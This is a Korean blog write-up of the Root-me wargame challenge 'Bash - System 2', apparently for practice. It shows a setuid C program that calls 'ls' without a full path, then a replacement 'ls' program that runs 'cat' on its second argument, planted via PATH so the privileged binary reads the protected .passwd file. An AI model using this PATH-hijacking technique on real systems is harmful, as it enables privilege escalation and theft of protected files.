[App-Script] Bash - System 2

2022. 7. 15. 15:19·Wargame/Root me
728x90
반응형

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
 
int main(){
    setreuid(geteuid(), geteuid());
    system("ls -lA /challenge/app-script/ch12/.passwd");
    return 0;
}

이번에는 ls 명령어에 인자가 있다.

이전과 동일하게 ls 명령어 실행 시 임의 폴더의 cat을 실행하는 ls 파일을 만들어두되,
두번째 인자만 값으로 받아들여 읽어보자.

간단히 코딩.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]){

        char cmd[100];
        sprintf(cmd,"cat %s",argv[2]);
        printf("%s\n",cmd);
        system(cmd);
        return 0;

}

PATH 환경 변수에 이 프로그램의 경로를 등록하고 문제 파일 실행.

app-script-ch12@challenge02:/tmp/wv2$ ~/ch12 
cat /challenge/app-script/ch12/.passwd
----------#플래그는 삭제
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Root me' 카테고리의 다른 글

[Cracking] PE x86 - 0 protection  (0) 2022.07.15
[Cracking] ELF x86 - Basic  (0) 2022.07.15
[Cryptanalysis] Encoding - UU  (0) 2022.07.15
[Cryptanalysis] Encoding - ASCII  (0) 2022.07.15
[Cracking] ELF x86 - 0 protection  (0) 2022.07.15
'Wargame/Root me' 카테고리의 다른 글
  • [Cracking] PE x86 - 0 protection
  • [Cracking] ELF x86 - Basic
  • [Cryptanalysis] Encoding - UU
  • [Cryptanalysis] Encoding - ASCII
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (518) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (75)
      • Kernel Exploit (28) N
        • Theory (16) N
        • Exercise (5)
      • File Structure (6)
      • Wargame (322) N
        • pwn.college (34)
        • Dreamhack (156) N
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44)
        • Solved (42)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    Format String Bug
    Buffer Overflow
    hackerschool
    root-me
    libc
    vtable
    64bit
    rop
    cryptohack
    x86
    exploit education
    root
    dreamhack
    32bit
    _IO_FILE
    Me
    pwnable.kr
    la ctf
    tcache
    heap
    RTL
    x64
    CANARY
    ROOT ME
    pwntools
    BOF
    lob
    docker
    phoenix
    FSB
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[App-Script] Bash - System 2
상단으로

티스토리툴바